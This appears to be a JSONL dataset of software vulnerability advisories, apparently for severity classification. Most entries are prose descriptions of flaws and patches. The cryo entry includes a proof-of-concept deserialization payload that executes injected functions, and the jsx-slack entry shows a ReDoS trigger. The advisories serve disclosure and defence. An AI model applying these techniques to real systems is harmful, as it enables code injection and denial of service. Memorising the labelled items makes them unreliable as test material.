-{"id": "f4c6b421bf0a3014c1cc", "text": "Apache PDFBox before 1.8.12 and 2.x before 2.0.1 does not properly initialize the XML parsers, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted PDF.", "text_raw": "High severity vulnerability that affects org.apache.pdfbox:pdfbox\n\n[Severity: HIGH]\n\nApache PDFBox before 1.8.12 and 2.x before 2.0.1 does not properly initialize the XML parsers, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted PDF.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "17779cee997b6a9bb542", "text": "CSV Injection vulnerability with exported contact lists in Mautic\n\n### Impact\nMautic versions before 2.13.0 had a vulnerability that allowed a CSV injection with exported contact lists - https://www.owasp.org/index.php/CSV_Injection.\n\n### Patches\nUpdate to 2.13.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "CSV Injection vulnerability with exported contact lists in Mautic\n\n[Severity: MEDIUM]\n\n### Impact\nMautic versions before 2.13.0 had a vulnerability that allowed a CSV injection with exported contact lists - https://www.owasp.org/index.php/CSV_Injection.\n\n### Patches\nUpdate to 2.13.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "d1febb88eb361753894a", "text": "Unauthenticated remote code execution in Ignition\n\nIgnition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.", "text_raw": "Unauthenticated remote code execution in Ignition\n\n[Severity: CRITICAL]\n\nIgnition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "c6ab736c7181f8e59c38", "text": "B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution", "text_raw": "B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-09-19", "split": "train"}
-{"id": "9a043368cc3a6886d1b3", "text": "Omniauth allows POST parameters to be stored in session\n\nIn strategy.rb in OmniAuth before 1.3.2, the authenticity_token value is improperly protected because POST (in addition to GET) parameters are stored in the session and become available in the environment of the callback phase.", "text_raw": "Omniauth allows POST parameters to be stored in session\n\n[Severity: HIGH]\n\nIn strategy.rb in OmniAuth before 1.3.2, the authenticity_token value is improperly protected because POST (in addition to GET) parameters are stored in the session and become available in the environment of the callback phase.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-29", "split": "train"}
-{"id": "b0b67e60277c1e7162ca", "text": "ManageEngine ADManager Plus 5.2 Multiple XSS Vulnerabilities", "text_raw": "ManageEngine ADManager Plus 5.2 Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-02-07", "split": "train"}
-{"id": "b74de6b829c8e1120a23", "text": "SQL Injection in gogs.io/gogs\n\nSQL injection vulnerability in the GetIssues function in models/issue.go in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.6.x before 0.5.6.1025 Beta allows remote attackers to execute arbitrary SQL commands via the label parameter to user/repos/issues.", "text_raw": "SQL Injection in gogs.io/gogs\n\n[Severity: MEDIUM]\n\nSQL injection vulnerability in the GetIssues function in models/issue.go in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.6.x before 0.5.6.1025 Beta allows remote attackers to execute arbitrary SQL commands via the label parameter to user/repos/issues.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "78a06c8df45a4729bf9c", "text": "Remote Code Execution in Red Discord Bot\n\n### Impact\nA RCE exploit has been discovered in the Trivia module: this exploit allows Discord users with specifically crafted usernames to inject code into the Trivia module's leaderboard command. By abusing this exploit, it's possible to perform destructive actions and/or access sensitive information.\n\n### Patches\nThis critical exploit has been fixed on version 3.3.11.\n\n### Workarounds\nUnloading the Trivia module with ``unload trivia`` can render this exploit not accessible. We still highly recommend updating to 3.3.11 to completely patch this issue.\n\n### References\nhttps://github.com/Cog-Creators/Red-DiscordBot/pull/4175\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-DiscordBot](https://github.com/Cog-Creators/Red-DiscordBot)\n* Over on our [Discord server](https://discord.gg/red)", "text_raw": "Remote Code Execution in Red Discord Bot\n\n[Severity: MEDIUM]\n\n### Impact\nA RCE exploit has been discovered in the Trivia module: this exploit allows Discord users with specifically crafted usernames to inject code into the Trivia module's leaderboard command. By abusing this exploit, it's possible to perform destructive actions and/or access sensitive information.\n\n### Patches\nThis critical exploit has been fixed on version 3.3.11.\n\n### Workarounds\nUnloading the Trivia module with ``unload trivia`` can render this exploit not accessible. We still highly recommend updating to 3.3.11 to completely patch this issue.\n\n### References\nhttps://github.com/Cog-Creators/Red-DiscordBot/pull/4175\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-DiscordBot](https://github.com/Cog-Creators/Red-DiscordBot)\n* Over on our [Discord server](https://discord.gg/red)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-21", "split": "train"}
-{"id": "7adfe38d9c82dc2db5a3", "text": "actionpack allows remote attackers to bypass intended access restrictions\n\n`actionpack/lib/action_view/template/resolver.rb` in Ruby on Rails 3.0.x before 3.0.4, when a case-insensitive filesystem is used, does not properly implement filters associated with the list of available templates, which allows remote attackers to bypass intended access restrictions via an action name that uses an unintended case for alphabetic characters.", "text_raw": "actionpack allows remote attackers to bypass intended access restrictions\n\n[Severity: HIGH]\n\n`actionpack/lib/action_view/template/resolver.rb` in Ruby on Rails 3.0.x before 3.0.4, when a case-insensitive filesystem is used, does not properly implement filters associated with the list of available templates, which allows remote attackers to bypass intended access restrictions via an action name that uses an unintended case for alphabetic characters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "ff18b4e8db06537a2767", "text": "Reverse Tabnabbing in quill\n\nVersions of `quill` prior to 1.3.7 are vulnerable to [Reverse Tabnabbing](https://www.owasp.org/index.php/Reverse_Tabnabbing). The package uses `target='_blank'` in anchor tags, allowing attackers to access `window.opener` for the original page when opening links. This is commonly used for phishing attacks.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Reverse Tabnabbing in quill\n\n[Severity: MEDIUM]\n\nVersions of `quill` prior to 1.3.7 are vulnerable to [Reverse Tabnabbing](https://www.owasp.org/index.php/Reverse_Tabnabbing). The package uses `target='_blank'` in anchor tags, allowing attackers to access `window.opener` for the original page when opening links. This is commonly used for phishing attacks.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "61f4dc26c5b866a3331f", "text": "Prototype Pollution in merge-objects\n\nAll versions of `merge-objects` are vulnerable to Prototype Pollution.\n\n## Recommendation\n\nNo fix is available for this vulnerability at this time. It is our recommendation to use an alternative package.", "text_raw": "Prototype Pollution in merge-objects\n\n[Severity: LOW]\n\nAll versions of `merge-objects` are vulnerable to Prototype Pollution.\n\n\n## Recommendation\n\nNo fix is available for this vulnerability at this time. It is our recommendation to use an alternative package.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "802996a34cce3a16a620", "text": "Code Injection in cryo\n\nAll versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Code Injection in cryo\n\n[Severity: CRITICAL]\n\nAll versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "b182b572fb02090ad0a0", "text": "Apache JSPWiki Cross-site Scripting due to carefully crafted plugin link invocation\n\nA carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the Denounce plugin, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim. Apache JSPWiki users should upgrade to 2.11.0 or later.", "text_raw": "Apache JSPWiki Cross-site Scripting due to carefully crafted plugin link invocation\n\n[Severity: MEDIUM]\n\nA carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the Denounce plugin, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim. Apache JSPWiki users should upgrade to 2.11.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "8152f4398990303470e1", "text": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\nThe `verify` function in the Stark Bank Python ECDSA library (starkbank-ecdsa) 2.0.0 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "text_raw": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\n[Severity: CRITICAL]\n\nThe `verify` function in the Stark Bank Python ECDSA library (starkbank-ecdsa) 2.0.0 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "580936975442b3ca4ac8", "text": "Incorrect access control in Neo4j Enterprise Database Server via LDAP authentication\n\nDue to incorrect access control in Neo4j Enterprise Database Server 3.4.x before 3.4.9, the setting of LDAP for authentication with STARTTLS, and System Account for authorization, allows an attacker to log into the server by sending any valid username with an arbitrary password.", "text_raw": "Incorrect access control in Neo4j Enterprise Database Server via LDAP authentication\n\n[Severity: CRITICAL]\n\nDue to incorrect access control in Neo4j Enterprise Database Server 3.4.x before 3.4.9, the setting of LDAP for authentication with STARTTLS, and System Account for authorization, allows an attacker to log into the server by sending any valid username with an arbitrary password.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "fdd0580c248562e1499a", "text": "Missing validation of JWT signature in `ManyDesigns/Portofino`\n\n### Impact\n[Portofino](https://github.com/ManyDesigns/Portofino) is an open source web development framework. Portofino before version 5.2.1 did not properly verify the signature of JSON Web Tokens.\nThis allows forging a valid JWT.\n\n### Patches\nThe issue will be patched in the upcoming 5.2.1 release.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/ManyDesigns/Portofino](https://github.com/ManyDesigns/Portofino)", "text_raw": "Missing validation of JWT signature in `ManyDesigns/Portofino`\n\n[Severity: CRITICAL]\n\n### Impact\n[Portofino](https://github.com/ManyDesigns/Portofino) is an open source web development framework. Portofino before version 5.2.1 did not properly verify the signature of JSON Web Tokens.\nThis allows forging a valid JWT.\n\n### Patches\nThe issue will be patched in the upcoming 5.2.1 release.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/ManyDesigns/Portofino](https://github.com/ManyDesigns/Portofino)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "f186bac6e147316300b4", "text": "devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery", "text_raw": "devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-02-03", "split": "train"}
-{"id": "0f4daa225353c3a00998", "text": "SeaMonkey 1.1.11 Remote Denial of Service Exploit PoC", "text_raw": "SeaMonkey 1.1.11 Remote Denial of Service Exploit PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-09-08", "split": "train"}
-{"id": "6aaa889bc58852c16320", "text": "Improper Privilege Management in Tomcat\n\nWhen using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: returning arbitrary files from anywhere in the web application, processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.", "text_raw": "Improper Privilege Management in Tomcat\n\n[Severity: CRITICAL]\n\nWhen using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: returning arbitrary files from anywhere in the web application, processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "fe2a6ab3993ec49950eb", "text": "Flask is vulnerable to Denial of Service via incorrect encoding of JSON data\n\nThe Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3.", "text_raw": "Flask is vulnerable to Denial of Service via incorrect encoding of JSON data\n\n[Severity: HIGH]\n\nThe Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-23", "split": "train"}
-{"id": "30cde3b8b7cb0d6a0aed", "text": "DOM XSS in Theme Preview\n\n### Impact\nAn unused endpoint added during the development of 4.0.0 has left sites vulnerable to untrusted users gaining access to Ghost Admin. Attackers can gain access by getting logged in users to click a link containing malicious code. Users do not need to enter credentials and may not know they've visited a malicious site.\n\nGhost(Pro) has already been patched. We can find no evidence that the issue was exploited on Ghost(Pro) prior to the patch being added.\n\nSelf-hosters are impacted if running Ghost a version between 4.0.0 and 4.3.2. Immediate action should be taken to secure your site - see patches & workarounds below.\n\n### Patches\nFixed in 4.3.3, all 4.x sites should upgrade as soon as possible.\nAs the endpoint is unused, the patch simply removes it.\n\n### Workarounds\n- Log out of Ghost Admin\n- Suspend any users who cannot log out\n- Block access to `/ghost/preview`\n\nExample of how to block access in nginx:\n\n```\nlocation ~ /ghost/preview {\n    rewrite ^(\\/(.*\\/)?ghost\\/)(.*)$ $1 redirect;\n}\n```\n\nThis redirects the endpoint to `/ghost/`, which mimics the behaviour after the patch is applied.\n\n### References\n\n- [Forum Post](https://forum.ghost.org/t/critical-security-update-available-for-ghost-4-x/22290)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* email us at security@ghost.org\n\n---\nCredits: Paul Gerste, SonarSource (https://www.sonarsource.com/)", "text_raw": "DOM XSS in Theme Preview\n\n[Severity: MEDIUM]\n\n### Impact\nAn unused endpoint added during the development of 4.0.0 has left sites vulnerable to untrusted users gaining access to Ghost Admin. Attackers can gain access by getting logged in users to click a link containing malicious code. Users do not need to enter credentials and may not know they've visited a malicious site. \n\nGhost(Pro) has already been patched. We can find no evidence that the issue was exploited on Ghost(Pro) prior to the patch being added. \n\nSelf-hosters are impacted if running Ghost a version between 4.0.0 and 4.3.2. Immediate action should be taken to secure your site - see patches & workarounds below.\n\n### Patches\nFixed in 4.3.3, all 4.x sites should upgrade as soon as possible.\nAs the endpoint is unused, the patch simply removes it. \n\n### Workarounds\n- Log out of Ghost Admin\n- Suspend any users who cannot log out\n- Block access to `/ghost/preview`\n\nExample of how to block access in nginx:\n\n```\nlocation ~ /ghost/preview {\n    rewrite ^(\\/(.*\\/)?ghost\\/)(.*)$ $1 redirect;\n}\n```\n\nThis redirects the endpoint to `/ghost/`, which mimics the behaviour after the patch is applied.\n\n### References\n\n- [Forum Post](https://forum.ghost.org/t/critical-security-update-available-for-ghost-4-x/22290)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* email us at security@ghost.org\n\n\n---\nCredits: Paul Gerste, SonarSource (https://www.sonarsource.com/)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-29", "split": "train"}
-{"id": "e3c96a866f90755259d6", "text": "Serva 3.0.0 HTTP Server Module Remote Denial of Service Exploit", "text_raw": "Serva 3.0.0 HTTP Server Module Remote Denial of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-12-12", "split": "train"}
-{"id": "a516b3f8def92b9a3597", "text": "Machine-In-The-Middle in lix\n\nAll versions of `lix` are vulnerable to Machine-In-The-Middle. The package accepts downloads with `http` and follows `location` header redirects for package downloads. This allows for an attacker in a privileged network position to intercept a lix package installation and redirect the download to a malicious source.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Machine-In-The-Middle in lix\n\n[Severity: HIGH]\n\nAll versions of `lix` are vulnerable to Machine-In-The-Middle. The package accepts downloads with `http` and follows `location` header redirects for package downloads. This allows for an attacker in a privileged network position to intercept a lix package installation and redirect the download to a malicious source.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-16", "split": "train"}
-{"id": "26b6e746bd805c32e709", "text": "SAP Solution Manager Missing Authentication for Critical Function Vulnerability\n\nAffected: SAP Solution Manager\n\nSAP Solution Manager User Experience Monitoring contains a missing authentication for critical function vulnerability which results in complete compromise of all SMDAgents connected to the Solution Manager.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SAP Solution Manager Missing Authentication for Critical Function Vulnerability\n\nAffected: SAP Solution Manager\n\nSAP Solution Manager User Experience Monitoring contains a missing authentication for critical function vulnerability which results in complete compromise of all SMDAgents connected to the Solution Manager.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "56515e3b6a37d14e4ec7", "text": "Downloads Resources over HTTP in iedriver\n\nAffected versions of `iedriver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `iedriver`.\n\n## Recommendation\n\nUpdate to iedriver version 3.0.0 or greater.", "text_raw": "Downloads Resources over HTTP in iedriver\n\n[Severity: HIGH]\n\nAffected versions of `iedriver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `iedriver`.\n\n\n## Recommendation\n\nUpdate to iedriver version 3.0.0 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "549039f5ba67ae3f1f81", "text": "Session Fixation in Subrion CMS\n\nSubrion CMS 4.2.1 allows session fixation via an alphanumeric value in a session cookie.", "text_raw": "Session Fixation in Subrion CMS\n\n[Severity: MEDIUM]\n\nSubrion CMS 4.2.1 allows session fixation via an alphanumeric value in a session cookie.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "daa4f810072d51fdabb6", "text": "User enumeration in authentication mechanisms\n\nDescription\n-----------\n\nThe ability to enumerate users was possible without relevant permissions due to different exception messages depending on whether the user existed or not.\n\nResolution\n----------\n\nWe now ensure that a generic message is returned whether the user exists or not if the password is invalid or if the user does not exist.\n\nThe patch for this issue is available [here](https://github.com/lexik/LexikJWTAuthenticationBundle/commit/a175d6dab968d93e96a3e4f80c495435f71d5eb7) for branch 2.10.x and 2.x.\n\nCredits\n-------\n\nI would like to thank James Isaac and Mathias Brodala for reporting the issue and Robin Chalas for fixing the issue.", "text_raw": "User enumeration in authentication mechanisms\n\n[Severity: LOW]\n\nDescription\n-----------\n\nThe ability to enumerate users was possible without relevant permissions due to different exception messages depending on whether the user existed or not. \n\nResolution\n----------\n\nWe now ensure that a generic message is returned whether the user exists or not if the password is invalid or if the user does not exist.\n\nThe patch for this issue is available [here](https://github.com/lexik/LexikJWTAuthenticationBundle/commit/a175d6dab968d93e96a3e4f80c495435f71d5eb7) for branch 2.10.x and 2.x.\n\nCredits\n-------\n\nI would like to thank James Isaac and Mathias Brodala for reporting the issue and Robin Chalas for fixing the issue.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "329d3ba79140cc527fda", "text": "Path Traversal in minsoft:ms-mcms\n\nAn issue was discovered in com\\mingsoft\\cms\\action\\GeneraterAction.java in MCMS 4.6.5. An attacker can write a .jsp file (in the position parameter) to an arbitrary directory via a ../ Directory Traversal in the url parameter.", "text_raw": "Path Traversal in minsoft:ms-mcms\n\n[Severity: HIGH]\n\nAn issue was discovered in com\\mingsoft\\cms\\action\\GeneraterAction.java in MCMS 4.6.5. An attacker can write a .jsp file (in the position parameter) to an arbitrary directory via a ../ Directory Traversal in the url parameter.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
-{"id": "711d2b33bf48415fba92", "text": "Mail Gem Improper Input Validation vulnerability\n\nThe Mail gem before 2.4.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a (1) sendmail or (2) exim delivery.", "text_raw": "Mail Gem Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nThe Mail gem before 2.4.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a (1) sendmail or (2) exim delivery.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "bd176edd6f4b0ee52f74", "text": "Ivanti Pulse Connect Secure Code Execution Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nPulse Connect Secure contains an unspecified vulnerability that allows an authenticated attacker to perform code execution using uncontrolled gzip extraction.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure Code Execution Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nPulse Connect Secure contains an unspecified vulnerability that allows an authenticated attacker to perform code execution using uncontrolled gzip extraction.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2883119991fb42c07934", "text": "Regular Expression Denial of Service (ReDoS) in jsx-slack\n\njsx-slack v4.5.1 and earlier versions are vulnerable to a regular expression denial-of-service (ReDoS) attack.\n\n### Impact\n\nIf attacker can put a lot of JSX elements into `<blockquote>` tag, an internal regular expression for escaping characters may consume an excessive amount of computing resources.\n\n```javascript\n/** @jsxImportSource jsx-slack */\nimport { Section } from 'jsx-slack'\n\nconsole.log(\n  <Section>\n    <blockquote>\n      {[...Array(40)].map((_, i) => (\n        <p>{i + 1}</p>\n      ))}\n    </blockquote>\n  </Section>\n)\n```\n\n### Patches\n\n_See also: https://github.com/yhatt/jsx-slack/security/advisories/GHSA-hp68-xhvj-x6j6_\n\njsx-slack v4.5.2 has updated regular expressions to prevent catastrophic backtracking.\n\njsx-slack v4.5.1 also had patched a workaround. It has no problems to contents with ASCII characters, but _still vulnerable to contents with multibyte characters_. (https://github.com/yhatt/jsx-slack/commit/36e4a10405e4c7745333e245fcc5029c02c7065d)\n\n### References\n\n- https://nvd.nist.gov/vuln/detail/CVE-2021-43838\n- https://github.com/yhatt/jsx-slack/commit/36e4a10405e4c7745333e245fcc5029c02c7065d\n\n### Credits\n\nThanks to @hieki for finding out this vulnerability.", "text_raw": "Regular Expression Denial of Service (ReDoS) in jsx-slack\n\n[Severity: LOW]\n\njsx-slack v4.5.1 and earlier versions are vulnerable to a regular expression denial-of-service (ReDoS) attack. \n\n### Impact\n\nIf attacker can put a lot of JSX elements into `<blockquote>` tag, an internal regular expression for escaping characters may consume an excessive amount of computing resources.\n\n```javascript\n/** @jsxImportSource jsx-slack */\nimport { Section } from 'jsx-slack'\n\nconsole.log(\n  <Section>\n    <blockquote>\n      {[...Array(40)].map((_, i) => (\n        <p>{i + 1}</p>\n      ))}\n    </blockquote>\n  </Section>\n)\n```\n\n### Patches\n\n_See also: https://github.com/yhatt/jsx-slack/security/advisories/GHSA-hp68-xhvj-x6j6_\n\njsx-slack v4.5.2 has updated regular expressions to prevent catastrophic backtracking.\n\njsx-slack v4.5.1 also had patched a workaround. It has no problems to contents with ASCII characters, but _still vulnerable to contents with multibyte characters_. (https://github.com/yhatt/jsx-slack/commit/36e4a10405e4c7745333e245fcc5029c02c7065d)\n\n### References\n\n- https://nvd.nist.gov/vuln/detail/CVE-2021-43838\n- https://github.com/yhatt/jsx-slack/commit/36e4a10405e4c7745333e245fcc5029c02c7065d\n\n### Credits\n\nThanks to @hieki for finding out this vulnerability.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "a6158b7c7698e56a3e10", "text": "Backdoor / Malicious code\n\nlita-coin 0.0.3 contains a backdoor mechanism that allows launching of hidden cryptocurrency mining operations inside the project. The code also contained a backdoor mechanism that allowed the attacker to send a cookie file back to a compromised project, and allow the attacker to execute malicious commands.", "text_raw": "Backdoor / Malicious code\n\n[Severity: CRITICAL]\n\nlita-coin 0.0.3 contains a backdoor mechanism that allows launching of hidden cryptocurrency mining operations inside the project. The code also contained a backdoor mechanism that allowed the attacker to send a cookie file back to a compromised project, and allow the attacker to execute malicious commands.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-02-23", "split": "train"}
